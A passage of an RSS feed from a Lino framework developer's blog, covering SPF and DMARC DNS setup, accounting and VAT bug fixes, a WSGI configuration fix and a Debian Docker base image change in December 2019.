&lt;p&gt;Step 1 : identify which mail servers you use to send email from your domain.&lt;/p&gt;
&lt;p&gt;It is important to create SPF records for all the domains you control, even the
ones you’re not mailing from. Why? Because once you have protected your sending
domains with SPF, the first thing a criminal will do is try to spoof your
non-sending domains.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;If I understand this page well, our SPF record is simply:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="n"&gt;ttl&lt;/span&gt;  &lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;TXT&lt;/span&gt;  &lt;span class="s2"&gt;&amp;quot;v=spf1 ip4:167.114.229.225 -all&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Actually this means that I add “v=spf1 ip4:167.114.229.225 -all” in the zone.eu
DNS file setup form at the right place.&lt;/p&gt;
&lt;p&gt;Now for the DMARC1 record, this is another TXT record with the following
options:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;DMARC1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;quarantine&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Where &lt;cite&gt;v=DMARC1&lt;/cite&gt; is mandatory and &lt;cite&gt;p&lt;/cite&gt; must be either &lt;cite&gt;none&lt;/cite&gt; or &lt;cite&gt;quantine&lt;/cite&gt; or
&lt;cite&gt;reject&lt;/cite&gt;. For documentation about the allowed tags in a DMARC record see
&lt;a class="reference external" href="https://dmarc.org//draft-dmarc-base-00-01.html#iana_dmarc_tags"&gt;https://dmarc.org//draft-dmarc-base-00-01.html#iana_dmarc_tags&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The actual zone file looks as follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="n"&gt;TXT&lt;/span&gt; &lt;span class="n"&gt;record&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;           &lt;span class="n"&gt;IN&lt;/span&gt;      &lt;span class="n"&gt;TXT&lt;/span&gt;     &lt;span class="s2"&gt;&amp;quot;v=spf1 ip4:167.114.229.225 -all&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;framework&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;           &lt;span class="n"&gt;IN&lt;/span&gt;      &lt;span class="n"&gt;TXT&lt;/span&gt;     &lt;span class="s2"&gt;&amp;quot;v=DMARC1; p=quarantine&amp;quot;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;When I first tried &lt;a class="reference external" href="https://mxtoolbox.com/SuperTool.aspx?action=mx%3alino-framework.org&amp;amp;run=toolpage#"&gt;mxtoolbox.com&lt;/a&gt;
it still said “No DMARC Record found”.  That’s because it takes some time for
the DNS record to get replicated.&lt;/p&gt;
&lt;p&gt;At a first attempt I said “v=DMARC1 p=none” instead of “v=DMARC1; p=none” and
mxtoolbox correctly reported a Syntax Error.&lt;/p&gt;
&lt;p&gt;Oops, and I must probably say “v=spf1 ip4:167.114.229.225 ip4:193.70.18.144
-all” instead of “v=spf1 ip4:167.114.229.225 -all” because LF uses the ovh relay
server, so hot.ee receives my mail via this.&lt;/p&gt;
&lt;p&gt;Note that above examples are not yet the solution. The journey continues
&lt;a class="reference internal" href="1229.html"&gt;&lt;span class="doc"&gt;Sunday, December 29, 2019&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1228.html</guid><pubDate>Sat, 28 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Friday, December 27, 2019</title><link>https://luc.lino-framework.org/blog/2019/1227.html</link><description>&lt;section id="friday-december-27-2019"&gt;
&lt;h1&gt;Friday, December 27, 2019&lt;a class="headerlink" href="#friday-december-27-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I fixed yet another side effect caused by &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3430"&gt;#3430&lt;/a&gt;. Not only VAT
declarations but also payment orders and bank statements were affected by the
problem that &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Voucher.register_voucher()&lt;/span&gt;&lt;/code&gt; is now called
after having saved the voucher. To fix these problems,
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_wanted_movements()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_payable_sums_dict()&lt;/span&gt;&lt;/code&gt; now will save the
voucher again. This is a side effect, i.e. not very nice style. But it works,
and I don’t currently see a better implementation.&lt;/p&gt;
&lt;p&gt;I did some code cleanup : removed the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;DECLARED_IN&lt;/span&gt;&lt;/code&gt; constant because I no
longer believe that we will ever want it back.&lt;/p&gt;
&lt;p&gt;The button_text for the ToggleState action was “Õ” (rather accidentally). Now it
is “⏼” (23FC “Toggle power”).&lt;/p&gt;
&lt;p&gt;The field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Account.vat_column&lt;/span&gt;&lt;/code&gt; is now declared in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; instead of being injected by &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
The difference is rather philosophic: I think it’s more natural to say that
ledger be aware of vat, i.e. it defines those fields, knowing that they become
dummy fields if vat isn’t installed.  The inject approach is more accurate when
you have some rather extravagant plugin that is not used often.&lt;/p&gt;
&lt;p&gt;I discovered and fixed another bug in the Estonian VAT declaration: a sales
intracom invoice must not generate a debit and credit with a VAT amount.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1227.html</guid><pubDate>Fri, 27 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, December 26, 2019</title><link>https://luc.lino-framework.org/blog/2019/1226.html</link><description>&lt;section id="thursday-december-26-2019"&gt;
&lt;h1&gt;Thursday, December 26, 2019&lt;a class="headerlink" href="#thursday-december-26-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="cannot-easily-see-whether-invoices-are-registered"&gt;
&lt;h2&gt;Cannot easily see whether invoices are registered&lt;a class="headerlink" href="#cannot-easily-see-whether-invoices-are-registered" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3430"&gt;#3430&lt;/a&gt;. This was less easy than I had imagined.&lt;/p&gt;
&lt;p&gt;The basic plan is to change &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Voucher.__str__()&lt;/span&gt;&lt;/code&gt; so that a voucher is
displayed as journal, number and year (e.g. “SLS 1/2019”) only when it is
&lt;em&gt;registered&lt;/em&gt;, and that otherwise the internal primary key is displayed
(“#12345”).&lt;/p&gt;
&lt;p&gt;This change wasn’t that easy because the match becomes valid only when the
voucher state is set. Which means that we cannot call &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_default_match()&lt;/span&gt;&lt;/code&gt;
during the process of registering when collecting the movements to generate.
That’s why I removed get_default_match and say now that &lt;cite&gt;str(voucher)&lt;/cite&gt; or
&lt;cite&gt;str(voucheritem)&lt;/cite&gt; returns the match, and when collecting the movements, I set
their match to the object itself, not a string.  Django will call &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;str()&lt;/span&gt;&lt;/code&gt; on
that object when it actually stores the movement.  Is that hackerish? But it
even fixed a problem with matches
that was visible in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/search.html#dg-plugins-search" title="(in Lino Developer Guide)"&gt;&lt;span&gt;search : Add search functionality&lt;/span&gt;&lt;/a&gt; but
that nobody had noticed so far.&lt;/p&gt;
&lt;p&gt;Miscellaneous changes en passant:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New plugin attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.Plugin.registered_states&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.MovementsByDeclaration&lt;/span&gt;&lt;/code&gt; table now also shows the
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#term-VAT-class" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;VAT class&lt;/span&gt;&lt;/a&gt; of every ledger account, making diagnostics more intuitive.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="hobbit-says-runtimeerror-populate-isn-t-reentrant"&gt;
&lt;h2&gt;Hobbit says “RuntimeError: populate() isn’t reentrant”&lt;a class="headerlink" href="#hobbit-says-runtimeerror-populate-isn-t-reentrant" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I also worked on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3178"&gt;#3178&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Oops, I saw that my quick fix yesterday (&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Actor._get_handle&lt;/span&gt;&lt;/code&gt;) broke everything.  I can’t store the
handle instance only after setup because once a handle has been instantiated,
subsequent calls to &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;_get_handle()&lt;/span&gt;&lt;/code&gt; should return that instance. They occur
already during &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup_handle()&lt;/span&gt;&lt;/code&gt;. Which also means that this change is less
probable to fix the problem.&lt;/p&gt;
&lt;p&gt;TIL : Having more than 20 years of experience as a developer doesn’t exempt you from
having to run the test suite before publishing a change, even if the change
seems trivial.&lt;/p&gt;
&lt;p&gt;In the afternoon the original problem was again occurring on hobbit.  I looked
at the error logs and saw:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Thu&lt;/span&gt; &lt;span class="n"&gt;Dec&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;38&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;03.007191&lt;/span&gt; &lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;wsgi&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt; &lt;span class="mi"&gt;31665&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;remote&lt;/span&gt;
&lt;span class="mf"&gt;197.2.66.96&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53356&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;mod_wsgi&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;31665&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt; &lt;span class="n"&gt;Target&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt; &lt;span class="n"&gt;script&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;/usr/local/python/.../apache/wsgi.py&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;does&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;contain&lt;/span&gt; &lt;span class="n"&gt;WSGI&lt;/span&gt;
&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;application&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;wsgi.py&lt;/span&gt;&lt;/code&gt; scripts for hobbit and jane were still using the old
approach using &lt;a class="reference external" href="https://hosting.lino-framework.org/dev/settings/#xfile-lino_local.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_local.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;. They said:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;/usr/local/python&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt; &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;setup_wsgi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;globals&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_local.py&lt;/span&gt;&lt;/code&gt; contained:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;setup_wsgi&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;globals_dict&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;globals_dict&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;__file__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;home_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;abspath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;tail&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;apache&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%r&lt;/span&gt;&lt;span class="s2"&gt; is not apache&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;tail&lt;/span&gt;
    &lt;span class="n"&gt;setup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;home_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;#import django.core.handlers.wsgi&lt;/span&gt;
    &lt;span class="c1"&gt;#globals_dict.update(application=django.core.handlers.wsgi.WSGIHandler())&lt;/span&gt;
    &lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.core.wsgi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;globals_dict&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="ne"&gt;RuntimeError&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Wsgi application is not yet ready&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I changed them to what getlino does:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;os&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/usr/local/python&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;setdefault&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;DJANGO_SETTINGS_MODULE&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino_sites.hobbit.settings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;django.core.wsgi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;
&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;get_wsgi_application&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I also noted that the apache subdir of hobbit was not writable for www-data.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="missing-monit-package-in-debian-buster"&gt;
&lt;h2&gt;Missing &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;monit&lt;/span&gt;&lt;/code&gt; package in Debian Buster&lt;a class="headerlink" href="#missing-monit-package-in-debian-buster" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In getlino I changed the debian dockerfile : FROM bullseye instead of from
buster.  Because I started to believe that indeed monit will never be in buster.
Which raises the question of whether and how to upgrade a production site from
buster to bullseye. Or should we rather use a &lt;a class="reference external" href="https://backports.debian.org/Instructions/"&gt;backport&lt;/a&gt;?&lt;/p&gt;
&lt;p&gt;Not sure, but the following two commands in the test suite were hanging and got
reactivated after pressing ENTER twice:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;noi&lt;/span&gt; &lt;span class="n"&gt;mynoi1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino xl noi&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="n"&gt;lino&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;env&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;activate&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;getlino&lt;/span&gt; &lt;span class="n"&gt;startsite&lt;/span&gt; &lt;span class="n"&gt;cosi&lt;/span&gt; &lt;span class="n"&gt;mycosi1&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;batch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;lino xl cosi&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;=====&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;section id="another-bug-in-lino-xl-lib-vat"&gt;
&lt;h2&gt;Another bug in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;a class="headerlink" href="#another-bug-in-lino-xl-lib-vat" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I found and fixed a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#module-lino_xl.lib.vat" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : Lino didn’t compute
correctly when you defined a  &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;DeclarationField&lt;/span&gt;&lt;/code&gt; with a condition on
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;DeclarationField.vat_classes&lt;/span&gt;&lt;/code&gt; which mentioned only vat classes to be
&lt;em&gt;excluded&lt;/em&gt; (i.e. no VAT class without an “!”).  Same for
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;DeclarationField.vat_columns&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;DeclarationField.vat_regimes&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1226.html</guid><pubDate>Thu, 26 Dec 2019 00:00:00 +0000</pubDate></item><item><title>Wednesday, December 25, 2019</title><link>https://luc.lino-framework.org/blog/2019/1225.html</link><description>&lt;section id="wednesday-december-25-2019"&gt;
&lt;h1&gt;Wednesday, December 25, 2019&lt;a class="headerlink" href="#wednesday-december-25-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had an &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;AttributeError:&lt;/span&gt; &lt;span class="pre"&gt;'TableHandle'&lt;/span&gt; &lt;span class="pre"&gt;object&lt;/span&gt; &lt;span class="pre"&gt;has&lt;/span&gt; &lt;span class="pre"&gt;no&lt;/span&gt; &lt;span class="pre"&gt;attribute&lt;/span&gt;
